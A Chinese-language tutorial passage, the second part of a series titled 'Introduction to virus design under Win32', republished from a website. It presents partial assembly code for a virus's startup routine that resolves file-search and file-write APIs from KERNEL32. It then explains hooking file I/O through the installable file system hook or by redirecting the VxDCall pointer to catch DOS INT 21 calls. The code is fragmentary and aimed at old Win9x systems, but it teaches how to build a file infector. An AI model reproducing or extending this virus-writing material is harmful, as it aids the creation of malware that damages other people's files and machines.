Win32下病毒设计入门(2)


szKernel db 'KERNEL32.DLL',0 
szFindFirst db 'FindFirstFileA',0 
szFindNext db 'FindNextFileA',0 
szFindClose db 'FindClose',0 
szGetCurrentDir db 'GetCurrentDirectoryA',0 
szGetWinDir db 'GetWindowsDirectoryA',0 
szGetSysDir db 'GetSystemDirectoryA',0 
szGetFileAttrib db 'GetFileAttributesA',0 
szSetFileAttrib db 'SetFileAttributesA',0 
szlopen db '_lopen',0 
szlread db '_lread',0 
szlwrite db '_lwrite',0 
szlclose db '_lclose',0 
szllseek db '_llseek',0 
hKernel dd 0 
.code 
;Initialize code 
start: 
push szKernel 
call GetModuleHandleA 
mov hKernel,eax 
push szFindFirst 
push hKernel 
call GetProcAddress 
mov FindFirstFile,eax 
.... 
jmp VirusStart 
InitExit: 
push 0 
call ExitProcess 
VirusStart: 
jmp Entry 
HostEntry dd InitExit 
FindFirstFile dd 0 
FindNextFile dd 0 
... 
Entry: 
... 
end start 
在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。

二:主要是要截留文件I/O操作。 
Windows下截留文件I/O操作有几种方法,在病毒中使用的主要有两种。 
1、使用VxDCallIFSMgr_InstallFileSystemHook 
2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS 
INT 21的呼叫(EAX=2A0010)。 
VxDCall的代码如下: 
mov eax,dword ptr [esp+04] 
pop dword ptr [esp] 
call fword ptr cs:[xxxxxxxx] 
^^^^^^^^只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的VxDCall。 
进入这个过程时: 
eax=service number,如果是DOS INT 21将是2A0010 
esp[2c]调用Int 21时eax的值 
~~~~ 算漏了个pushad,应该是10h 

esp[30] 调用int 21时ecx的值 
~~~~14h 

其他寄存器为调用时所需的值。(段寄存器无用) 
以后的就和在DOS下写病毒没什么差别了。 
在WINDOWS下写病毒,如何得到API的入口是一件麻烦的事. 可以直接使用的API都在DLL中,而VXDCALL要在RING0时才能使 用,DOS的INT 21服务也不能直接调用. 得到DLL中的API入口有两种方法: 

1.加载时得到,建立一个 IMPORT TABLE,在加载时WINDOWS会根据IMPORT TABLE定位API的 入口地址.这是一般应用程序的使用的方法,但不大适合病毒. 
2.运行时得到,使用GetModuleHandle和GetProcAddress得到API的入口,但前提时要知道GetModuleHandle和GetProcAddress的 入口地址.:< 这是明显也是不可能的.除了将GetModuleHandle和GetProcAddress的代码复制到我们的病毒中,只有使用暴力在 2GB的空间内找出API的入口了. 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1430.html